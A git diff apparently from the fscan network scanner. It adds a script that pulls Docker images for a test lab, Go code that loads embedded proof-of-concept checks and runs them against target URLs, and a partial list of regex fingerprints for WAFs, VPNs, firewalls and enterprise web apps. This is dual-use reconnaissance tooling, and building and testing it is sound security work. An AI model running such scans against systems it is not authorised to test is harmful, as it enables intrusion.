google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
-gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
-gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
-gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
-gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
-gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
-gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
-gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
-gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
-honnef.co/go/js/dom v0.0.0-20200509013220-d4405f7ab4d8/go.mod h1:sUMDUKNB2ZcVjt92UnLy3cdGs+wDAcrPdV3JP6sVgA4=
-honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
-rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
diff --git a/pull_images.sh b/pull_images.sh
new file mode 100755
index 0000000..3fd2a3e
--- /dev/null
+++ b/pull_images.sh
@@ -0,0 +1,123 @@
+#!/bin/bash
+
+# Fscan 测试镜像拉取脚本
+# 排除 IMAP、POP3、Modbus 相关镜像
+
+echo "=== Fscan 测试镜像拉取开始 ==="
+echo "排除服务: IMAP, POP3, Modbus"
+echo ""
+
+# 基础镜像列表
+images=(
+ # 数据库服务
+ "mysql:latest"
+ "postgres:latest"
+ "mongo:latest"
+ "redis:5.0.1"
+ "mcr.microsoft.com/mssql/server:2022-latest"
+ "neo4j:4.4"
+ "memcached:latest"
+ "cassandra:3.11"
+
+ # Web服务
+ "tomcat:9.0-jdk8"
+ "container-registry.oracle.com/middleware/weblogic:12.2.1.4-dev"
+
+ # 搜索引擎
+ "docker.elastic.co/elasticsearch/elasticsearch:7.9.3"
+
+ # 消息队列
+ "rabbitmq:3-management"
+ "rmohr/activemq:5.15.9"
+ "bitnami/kafka:latest"
+
+ # 监控系统
+ "zabbix/zabbix-server-mysql:ubuntu-6.0.23"
+ "zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.23"
+
+ # 目录服务
+ "osixia/openldap:1.5.0"
+
+ # 网络服务
+ "bogem/ftp"
+ "ubuntu:latest" # SSH, SMTP, SNMP, Rsync, VNC, Telnet
+ "ubuntu:20.04" # SSH, SMTP, SNMP, Rsync, VNC, Telnet
+ "busybox:latest" # Telnet
+)
+
+# 记录成功和失败的镜像
+success_count=0
+failed_images=()
+total_images=${#images[@]}
+
+echo "需要拉取 $total_images 个镜像"
+echo ""
+
+# 拉取镜像函数
+pull_image() {
+ local image=$1
+ local current=$2
+ local total=$3
+
+ echo "[$current/$total] 拉取镜像: $image"
+
+ # 设置超时和重试
+ local max_retries=3
+ local retry=0
+
+ while [ $retry -lt $max_retries ]; do
+ if timeout 300 docker pull "$image"; then
+ echo "✓ 成功: $image"
+ ((success_count++))
+ return 0
+ else
+ ((retry++))
+ if [ $retry -lt $max_retries ]; then
+ echo "⚠ 重试 $retry/$max_retries: $image"
+ sleep 5
+ fi
+ fi
+ done
+
+ echo "✗ 失败: $image (超时或网络错误)"
+ failed_images+=("$image")
+ return 1
+}
+
+# 开始拉取
+start_time=$(date +%s)
+
+for i in "${!images[@]}"; do
+ current=$((i + 1))
+ pull_image "${images[$i]}" "$current" "$total_images"
+ echo ""
+done
+
+# 统计结果
+end_time=$(date +%s)
+duration=$((end_time - start_time))
+failed_count=${#failed_images[@]}
+
+echo "=== 拉取完成 ==="
+echo "总镜像数: $total_images"
+echo "成功: $success_count"
+echo "失败: $failed_count"
+echo "用时: ${duration}s"
+echo ""
+
+# 显示失败的镜像
+if [ $failed_count -gt 0 ]; then
+ echo "失败的镜像:"
+ for image in "${failed_images[@]}"; do
+ echo " - $image"
+ done
+ echo ""
+ echo "可以重新运行脚本来重试失败的镜像"
+fi
+
+# 检查 Docker 存储空间
+echo "=== Docker 存储使用情况 ==="
+docker system df
+
+echo ""
+echo "脚本执行完成!"
\ No newline at end of file
diff --git a/webscan/InfoScan.go b/webscan/InfoScan.go
new file mode 100644
index 0000000..7dc0056
--- /dev/null
+++ b/webscan/InfoScan.go
@@ -0,0 +1,98 @@
+package WebScan
+
+import (
+ "crypto/md5"
+ "fmt"
+ "github.com/shadow1ng/fscan/common"
+ "github.com/shadow1ng/fscan/webscan/info"
+ "regexp"
+)
+
+// CheckDatas 存储HTTP响应的检查数据
+type CheckDatas struct {
+ Body []byte // 响应体
+ Headers string // 响应头
+}
+
+// InfoCheck 检查URL的指纹信息
+func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
+ var matchedInfos []string
+
+ // 遍历检查数据
+ for _, data := range *CheckData {
+ // 规则匹配检查
+ for _, rule := range info.RuleDatas {
+ var matched bool
+ var err error
+
+ // 根据规则类型选择匹配内容
+ switch rule.Type {
+ case "code":
+ matched, err = regexp.MatchString(rule.Rule, string(data.Body))
+ default:
+ matched, err = regexp.MatchString(rule.Rule, data.Headers)
+ }
+
+ // 处理匹配错误
+ if err != nil {
+ common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err))
+ continue
+ }
+
+ // 添加匹配成功的规则名
+ if matched {
+ matchedInfos = append(matchedInfos, rule.Name)
+ }
+ }
+
+ // MD5匹配检查暂时注释
+ /*
+ if flag, name := CalcMd5(data.Body); flag {
+ matchedInfos = append(matchedInfos, name)
+ }
+ */
+ }
+
+ // 去重处理
+ matchedInfos = removeDuplicateElement(matchedInfos)
+
+ // 输出结果
+ if len(matchedInfos) > 0 {
+ result := fmt.Sprintf("发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos)
+ common.LogInfo(result)
+ return matchedInfos
+ }
+
+ return []string{}
+}
+
+// CalcMd5 计算内容的MD5并与指纹库比对
+func CalcMd5(Body []byte) (bool, string) {
+ contentMd5 := fmt.Sprintf("%x", md5.Sum(Body))
+
+ // 比对MD5指纹库
+ for _, md5Info := range info.Md5Datas {
+ if contentMd5 == md5Info.Md5Str {
+ return true, md5Info.Name
+ }
+ }
+
+ return false, ""
+}
+
+// removeDuplicateElement 移除切片中的重复元素
+func removeDuplicateElement(items []string) []string {
+ // 预分配空间
+ result := make([]string, 0, len(items))
+ seen := make(map[string]struct{}, len(items))
+
+ // 使用map去重
+ for _, item := range items {
+ if _, exists := seen[item]; !exists {
+ seen[item] = struct{}{}
+ result = append(result, item)
+ }
+ }
+
+ return result
+}
diff --git a/webscan/WebScan.go b/webscan/WebScan.go
new file mode 100644
index 0000000..167a6e4
--- /dev/null
+++ b/webscan/WebScan.go
@@ -0,0 +1,325 @@
+package WebScan
+
+import (
+ "context"
+ "embed"
+ "errors"
+ "fmt"
+ "net/http"
+ "net/url"
+ "os"
+ "path/filepath"
+ "strings"
+ "sync"
+ "time"
+
+ "github.com/shadow1ng/fscan/common"
+ "github.com/shadow1ng/fscan/common/config"
+ "github.com/shadow1ng/fscan/webscan/lib"
+)
+
+// 常量定义
+const (
+ protocolHTTP = "http://"
+ protocolHTTPS = "https://"
+ yamlExt = ".yaml"
+ ymlExt = ".yml"
+ defaultTimeout = 30 * time.Second
+ concurrencyLimit = 10 // 并发加载POC的限制
+)
+
+// 错误定义
+var (
+ ErrInvalidURL = errors.New("无效的URL格式")
+ ErrEmptyTarget = errors.New("目标URL为空")
+ ErrPocNotFound = errors.New("未找到匹配的POC")
+ ErrPocLoadFailed = errors.New("POC加载失败")
+)
+
+//go:embed pocs
+var pocsFS embed.FS
+var (
+ once sync.Once
+ allPocs []*lib.Poc
+)
+
+// WebScan 执行Web漏洞扫描
+func WebScan(info *common.HostInfo) {
+ // 初始化POC
+ once.Do(initPocs)
+
+ // 验证输入
+ if info == nil {
+ common.LogError("无效的扫描目标")
+ return
+ }
+
+ if len(allPocs) == 0 {
+ common.LogError("POC加载失败,无法执行扫描")
+ return
+ }
+
+ // 构建目标URL
+ target, err := buildTargetURL(info)
+ if err != nil {
+ common.LogError(fmt.Sprintf("构建目标URL失败: %v", err))
+ return
+ }
+
+ // 使用带超时的上下文
+ ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
+ defer cancel()
+
+ // 根据扫描策略执行POC
+ if common.Pocinfo.PocName == "" && len(info.Infostr) == 0 {
+ // 执行所有POC
+ executePOCs(ctx, config.PocInfo{Target: target})
+ } else if len(info.Infostr) > 0 {
+ // 基于指纹信息执行POC
+ scanByFingerprints(ctx, target, info.Infostr)
+ } else if common.Pocinfo.PocName != "" {
+ // 基于指定POC名称执行
+ executePOCs(ctx, config.PocInfo{Target: target, PocName: common.Pocinfo.PocName})
+ }
+}
+
+// buildTargetURL 构建规范的目标URL
+func buildTargetURL(info *common.HostInfo) (string, error) {
+ // 自动构建URL
+ if info.Url == "" {
+ info.Url = fmt.Sprintf("%s%s:%s", protocolHTTP, info.Host, info.Ports)
+ } else if !hasProtocolPrefix(info.Url) {
+ info.Url = protocolHTTP + info.Url
+ }
+
+ // 解析URL以提取基础部分
+ parsedURL, err := url.Parse(info.Url)
+ if err != nil {
+ return "", fmt.Errorf("%w: %v", ErrInvalidURL, err)
+ }
+
+ return fmt.Sprintf("%s://%s", parsedURL.Scheme, parsedURL.Host), nil
+}
+
+// hasProtocolPrefix 检查URL是否包含协议前缀
+func hasProtocolPrefix(urlStr string) bool {
+ return strings.HasPrefix(urlStr, protocolHTTP) || strings.HasPrefix(urlStr, protocolHTTPS)
+}
+
+// scanByFingerprints 根据指纹执行POC
+func scanByFingerprints(ctx context.Context, target string, fingerprints []string) {
+ for _, fingerprint := range fingerprints {
+ if fingerprint == "" {
+ continue
+ }
+
+ pocName := lib.CheckInfoPoc(fingerprint)
+ if pocName == "" {
+ continue
+ }
+
+ executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName})
+ }
+}
+
+// executePOCs 执行POC检测
+func executePOCs(ctx context.Context, pocInfo config.PocInfo) {
+ // 验证目标
+ if pocInfo.Target == "" {
+ common.LogError(ErrEmptyTarget.Error())
+ return
+ }
+
+ // 确保URL格式正确
+ if !hasProtocolPrefix(pocInfo.Target) {
+ pocInfo.Target = protocolHTTP + pocInfo.Target
+ }
+
+ // 验证URL
+ _, err := url.Parse(pocInfo.Target)
+ if err != nil {
+ common.LogError(fmt.Sprintf("%v %s: %v", ErrInvalidURL, pocInfo.Target, err))
+ return
+ }
+
+ // 创建基础请求
+ req, err := createBaseRequest(ctx, pocInfo.Target)
+ if err != nil {
+ common.LogError(fmt.Sprintf("创建HTTP请求失败: %v", err))
+ return
+ }
+
+ // 筛选POC
+ matchedPocs := filterPocs(pocInfo.PocName)
+ if len(matchedPocs) == 0 {
+ common.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName))
+ return
+ }
+
+ // 执行POC检测
+ lib.CheckMultiPoc(req, matchedPocs, common.PocNum)
+}
+
+// createBaseRequest 创建带上下文的HTTP请求
+func createBaseRequest(ctx context.Context, target string) (*http.Request, error) {
+ req, err := http.NewRequestWithContext(ctx, "GET", target, nil)
+ if err != nil {
+ return nil, err
+ }
+
+ // 设置请求头
+ req.Header.Set("User-agent", common.UserAgent)
+ req.Header.Set("Accept", common.Accept)
+ req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
+ if common.Cookie != "" {
+ req.Header.Set("Cookie", common.Cookie)
+ }
+
+ return req, nil
+}
+
+// initPocs 初始化并加载POC
+func initPocs() {
+ // 预分配容量避免频繁扩容,典型POC数量在100-500之间
+ allPocs = make([]*lib.Poc, 0, 256)
+
+ if common.PocPath == "" {
+ loadEmbeddedPocs()
+ } else {
+ loadExternalPocs(common.PocPath)
+ }
+}
+
+// loadEmbeddedPocs 加载内置POC
+func loadEmbeddedPocs() {
+ entries, err := pocsFS.ReadDir("pocs")
+ if err != nil {
+ common.LogError(fmt.Sprintf("加载内置POC目录失败: %v", err))
+ return
+ }
+
+ // 收集所有POC文件
+ var pocFiles []string
+ for _, entry := range entries {
+ if isPocFile(entry.Name()) {
+ pocFiles = append(pocFiles, entry.Name())
+ }
+ }
+
+ // 并发加载POC文件
+ loadPocsConcurrently(pocFiles, true, "")
+}
+
+// loadExternalPocs 从外部路径加载POC
+func loadExternalPocs(pocPath string) {
+ if !directoryExists(pocPath) {
+ common.LogError(fmt.Sprintf("POC目录不存在: %s", pocPath))
+ return
+ }
+
+ // 收集所有POC文件路径
+ var pocFiles []string
+ err := filepath.Walk(pocPath, func(path string, info os.FileInfo, err error) error {
+ if err != nil || info == nil || info.IsDir() {
+ return nil
+ }
+
+ if isPocFile(info.Name()) {
+ pocFiles = append(pocFiles, path)
+ }
+ return nil
+ })
+
+ if err != nil {
+ common.LogError(fmt.Sprintf("遍历POC目录失败: %v", err))
+ return
+ }
+
+ // 并发加载POC文件
+ loadPocsConcurrently(pocFiles, false, pocPath)
+}
+
+// loadPocsConcurrently 并发加载POC文件
+func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) {
+ pocCount := len(pocFiles)
+ if pocCount == 0 {
+ return
+ }
+
+ var wg sync.WaitGroup
+ var mu sync.Mutex
+ var successCount, failCount int
+
+ // 使用信号量控制并发数
+ semaphore := make(chan struct{}, concurrencyLimit)
+
+ for _, file := range pocFiles {
+ wg.Add(1)
+ semaphore <- struct{}{} // 获取信号量
+
+ go func(filename string) {
+ defer func() {
+ <-semaphore // 释放信号量
+ wg.Done()
+ }()
+
+ var poc *lib.Poc
+ var err error
+
+ // 根据不同的来源加载POC
+ if isEmbedded {
+ poc, err = lib.LoadPoc(filename, pocsFS)
+ } else {
+ poc, err = lib.LoadPocbyPath(filename)
+ }
+
+ mu.Lock()
+ defer mu.Unlock()
+
+ if err != nil {
+ failCount++
+ return
+ }
+
+ if poc != nil {
+ allPocs = append(allPocs, poc)
+ successCount++
+ }
+ }(file)
+ }
+
+ wg.Wait()
+ common.LogBase(fmt.Sprintf("POC加载完成: 总共%d个,成功%d个,失败%d个",
+ pocCount, successCount, failCount))
+}
+
+// directoryExists 检查目录是否存在
+func directoryExists(path string) bool {
+ info, err := os.Stat(path)
+ return err == nil && info.IsDir()
+}
+
+// isPocFile 检查文件是否为POC文件
+func isPocFile(filename string) bool {
+ lowerName := strings.ToLower(filename)
+ return strings.HasSuffix(lowerName, yamlExt) || strings.HasSuffix(lowerName, ymlExt)
+}
+
+// filterPocs 根据POC名称筛选
+func filterPocs(pocName string) []*lib.Poc {
+ if pocName == "" {
+ return allPocs
+ }
+
+ // 转换为小写以进行不区分大小写的匹配
+ searchName := strings.ToLower(pocName)
+
+ var matchedPocs []*lib.Poc
+ for _, poc := range allPocs {
+ if poc != nil && strings.Contains(strings.ToLower(poc.Name), searchName) {
+ matchedPocs = append(matchedPocs, poc)
+ }
+ }
+
+ return matchedPocs
+}
diff --git a/webscan/info/Rules.go b/webscan/info/Rules.go
new file mode 100644
index 0000000..e7184db
--- /dev/null
+++ b/webscan/info/Rules.go
@@ -0,0 +1,314 @@
+package info
+
+type RuleData struct {
+ Name string
+ Type string
+ Rule string
+}
+
+type Md5Data struct {
+ Name string
+ Md5Str string
+}
+
+type PocData struct {
+ Name string
+ Alias string
+}
+
+var RuleDatas = []RuleData{
+ {"宝塔", "code", "(app.bt.cn/static/app.png|安全入口校验失败|
入口校验失败|href=\"http://www.bt.cn/bbs)"},
+ {"深信服防火墙类产品", "code", "(SANGFOR FW)"},
+ {"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
+ {"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
+ {"绿盟防火墙", "code", "(NSFOCUS NF)"},
+ {"绿盟防火墙", "headers", "(NSFocus)"},
+ {"Topsec-Waf", "index", `(",")`},
+ {"Anquanbao", "headers", "(Anquanbao)"},
+ {"BaiduYunjiasu", "headers", "(yunjiasu)"},
+ {"BigIP", "headers", "(BigIP|BIGipServer)"},
+ {"BinarySEC", "headers", "(binarysec)"},
+ {"BlockDoS", "headers", "(BlockDos.net)"},
+ {"CloudFlare", "headers", "(cloudflare)"},
+ {"Cloudfront", "headers", "(cloudfront)"},
+ {"Comodo", "headers", "(Protected by COMODO)"},
+ {"IBM-DataPower", "headers", "(X-Backside-Transport)"},
+ {"DenyAll", "headers", "(sessioncookie=)"},
+ {"dotDefender", "headers", "(dotDefender)"},
+ {"Incapsula", "headers", "(X-CDN|Incapsula)"},
+ {"Jiasule", "headers", "(jsluid=)"},
+ {"KONA", "headers", "(AkamaiGHost)"},
+ {"ModSecurity", "headers", "(Mod_Security|NOYB)"},
+ {"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
+ {"Newdefend", "headers", "(newdefend)"},
+ {"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
+ {"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
+ {"Safedog", "headers", "(Safedog|WAF/2.0)"},
+ {"SonicWALL", "headers", "(SonicWALL)"},
+ {"Stingray", "headers", "(X-Mapping-)"},
+ {"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
+ {"Usp-Sec", "headers", "(Secure Entry Server)"},
+ {"Varnish", "headers", "(varnish)"},
+ {"Wallarm", "headers", "(wallarm)"},
+ {"阿里云", "code", "(errors.aliyun.com)"},
+ {"WebKnight", "headers", "(WebKnight)"},
+ {"Yundun", "headers", "(YUNDUN)"},
+ {"Yunsuo", "headers", "(yunsuo)"},
+ {"Coding pages", "header", "(Coding Pages)"},
+ {"启明防火墙", "code", "(/cgi-bin/webui?op=get_product_model)"},
+ {"Shiro", "headers", "(=deleteMe|rememberMe=)"},
+ {"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
+ {"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
+ {"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
+ {"Nexus", "code", "(Nexus Repository Manager)"},
+ {"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
+ {"Harbor", "code", "(Harbor)"},
+ {"Harbor", "cookie", "(harbor-lang)"},
+ {"禅道", "code", "(/theme/default/images/main/zt-logo.png|/zentao/theme/zui/css/min.css)"},
+ {"禅道", "cookie", "(zentaosid)"},
+ {"协众OA", "code", "(Powered by 协众OA)"},
+ {"协众OA", "cookie", "(CNOAOASESSID)"},
+ {"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
+ {"atmail-WebMail", "cookie", "(atmail6)"},
+ {"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
+ {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1)"},
+ {"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
+ {"discuz", "code", "(content=\"Discuz! X\")"},
+ {"Typecho", "code", "(Typecho)"},
+ {"金蝶EAS", "code", "(easSessionId)"},
+ {"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
+ {"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
+ {"H3C-AM8000", "code", "(AM8000)"},
+ {"360企业版", "code", "(360EntWebAdminMD5Secret)"},
+ {"H3C公司产品", "code", "(service@h3c.com)"},
+ {"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
+ {"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
+ {"H3C ER5100", "code", "(ER5100系统管理)"},
+ {"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
+ {"CISCO_EPC3925", "code", "(Docsis_system)"},
+ {"CISCO ASR", "code", "(CISCO ASR)"},
+ {"H3C ER3200", "code", "(ER3200系统管理)"},
+ {"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
+ {"Spark_Master", "code", "(Spark Master at)"},
+ {"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
+ {"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
+ {"深信服ssl-vpn", "code", "(login_psw.csp)"},
+ {"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
+ {"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
+ {"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
+ {"360主机卫士", "headers", "(zhuji.360.cn)"},
+ {"Nagios", "headers", "(Nagios Access)"},
+ {"H3C ER8300", "code", "(ER8300系统管理)"},
+ {"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
+ {"华为 MCU", "code", "(McuR5-min.js)"},
+ {"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
+ {"泛微OA", "headers", "(ecology_JSessionid)"},
+ {"泛微OA", "code", "(/spa/portal/public/index.js)"},
+ {"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
+ {"360网站卫士", "code", "(360wzb)"},
+ {"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
+ {"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
+ {"zabbix", "cookie", "(zbx_sessionid)"},
+ {"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
+ {"CISCO_VPN", "headers", "(webvpn)"},
+ {"360站长平台", "code", "(360-site-verification)"},
+ {"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
+ {"o2security_vpn", "headers", "(client_param=install_active)"},
+ {"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
+ {"H3C ICG1000", "code", "(ICG1000系统管理)"},
+ {"CISCO-CX20", "code", "(CISCO-CX20)"},
+ {"H3C ER5200", "code", "(ER5200系统管理)"},
+ {"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
+ {"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
+ {"H3C ER3100", "code", "(ER3100系统管理)"},
+ {"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
+ {"360webfacil_360WebManager", "code", "(publico/template/)"},
+ {"Citrix_Netscaler", "code", "(ns_af)"},
+ {"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
+ {"H3C ER3260", "code", "(ER3260系统管理)"},
+ {"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
+ {"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
+ {"Spark_Worker", "code", "(Spark Worker at)"},
+ {"H3C ER3108G", "code", "(ER3108G系统管理)"},
+ {"Citrix-ConfProxy", "code", "(confproxy)"},
+ {"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
+ {"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
+ {"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
+ {"华为(HUAWEI)USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
+ {"H3C ER6300", "code", "(ER6300系统管理)"},
+ {"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
+ {"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
+ {"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
+ {"H3C ER2100", "code", "(ER2100系统管理)"},
+ {"jira", "code", "(jira.webresources)"},
+ {"金和协同管理平台", "code", "(金和协同管理平台)"},
+ {"Citrix-NetScaler", "code", "(NS-CACHE)"},
+ {"linksys-vpn", "headers", "(linksys-vpn)"},
+ {"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
+ {"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
+ {"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
+ {"H3C ER2100n", "code", "(ER2100n系统管理)"},
+ {"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
+ {"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
+ {"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
+ {"Jboss", "headers", "(JBoss)"},
+ {"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
+ {"泛微E-mobile", "headers", "(EMobileServer)"},
+ {"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
+ {"ThinkPHP", "headers", "(ThinkPHP)"},
+ {"ThinkPHP", "code", "(/Public/static/js/)"},
+ {"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
+ {"Laravel", "headers", "(laravel_session)"},
+ {"DWR", "code", "(dwr/engine.js)"},
+ {"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
+ {"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
+ {"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
+ {"Jenkins", "code", "(Jenkins)"},
+ {"红帆OA", "code", "(iOffice)"},
+ {"VMware vSphere", "code", "(VMware vSphere)"},
+ {"打印机", "code", "(打印机|media/canon.gif)"},
+ {"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
+ {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
+ {"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
+ {"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
+ {"Hadoop Applications", "code", "(/cluster/app/application)"},
+ {"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
+ {"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
+ {"帆软报表", "headers", "(数据决策系统)"},
+ {"华夏ERP", "headers", "(华夏ERP)"},
+ {"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
+ {"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
